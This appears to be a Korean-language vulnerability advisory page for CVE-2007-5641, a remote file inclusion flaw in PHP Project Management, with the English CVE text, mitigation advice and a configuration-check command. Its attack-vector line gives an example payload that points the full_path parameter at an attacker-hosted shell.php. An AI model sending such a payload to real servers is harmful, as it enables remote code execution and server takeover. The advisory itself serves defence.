🔍 CVE-2007-5641

6.8
CVSS Score
MEDIUM
2007-10-23
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

PHP 프로젝트 관리 0.8.10 이전 버전의 30개 이상의 파일에서 full_path 파라미터를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자가 외부 URL을 입력하여 임의의 PHP 코드를 실행할 수 있으며, 이를 통해 웹 서버의 완전한 제어가 가능합니다.

💡 쉬운 설명

PHP 프로젝트 관리 프로그램이 웹 주소를 검증하지 않아서, 공격자가 악의적인 파일을 불러와 실행할 수 있습니다. 2007년도의 오래된 취약점이지만, 패치되지 않은 시스템은 여전히 위험합니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in PHP Project Management 0.8.10 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the full_path parameter to (1) certinfo/index.php, (2) emails/index.php, (3) events/index.php, (4) fax/index.php, (5) files/index.php, (6) files/list.php, (7) groupadm/index.php, (8) history/index.php, (9) info/index.php, (10) log/index.php, (11) mail/index.php, (12) messages/index.php, (13) organizations/index.php, (14) phones/index.php, (15) presence/index.php, (16) projects/index.php, (17) projects/summary.inc.php, (18) projects/list.php, (19) reports/index.php, (20) search/index.php, (21) snf/index.php, (22) syslog/index.php, (23) tasks/searchsimilar.php, (24) tasks/index.php, (25) tasks/summary.inc.php, and (26) useradm/index.php in modules; (27) /ajax/loadsplash.php; (28) /blocks/birthday.php; (29) /blocks/events.php; and (30) /blocks/help.php.

📍 영향받는 시스템

PHP Project Management 버전 0.8.10 이하

⚔️ 공격 벡터

GET/POST 요청의 full_path 파라미터에 원격 파일 URL 입력 (예: ?full_path=http://attacker.com/shell.php)

🛡️ 대응 방법

즉시 0.8.11 이상으로 업그레이드하거나, 운영 중인 경우 웹 방화벽에서 full_path 파라미터 필터링 및 원격 파일 포함(allow_url_include) 비활성화

🔧 검증 코드

allow_url_include이 Off로 표시되면 안전하고, On 또는 표시되지 않으면 php.ini에서 설정 확인 필요

Shell / Script
grep -r 'allow_url_include' /etc/php* 2>/dev/null || php -i | grep allow_url_include

📊 CVSS Vector String

CVSS Vector
AV:N/AC:M/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP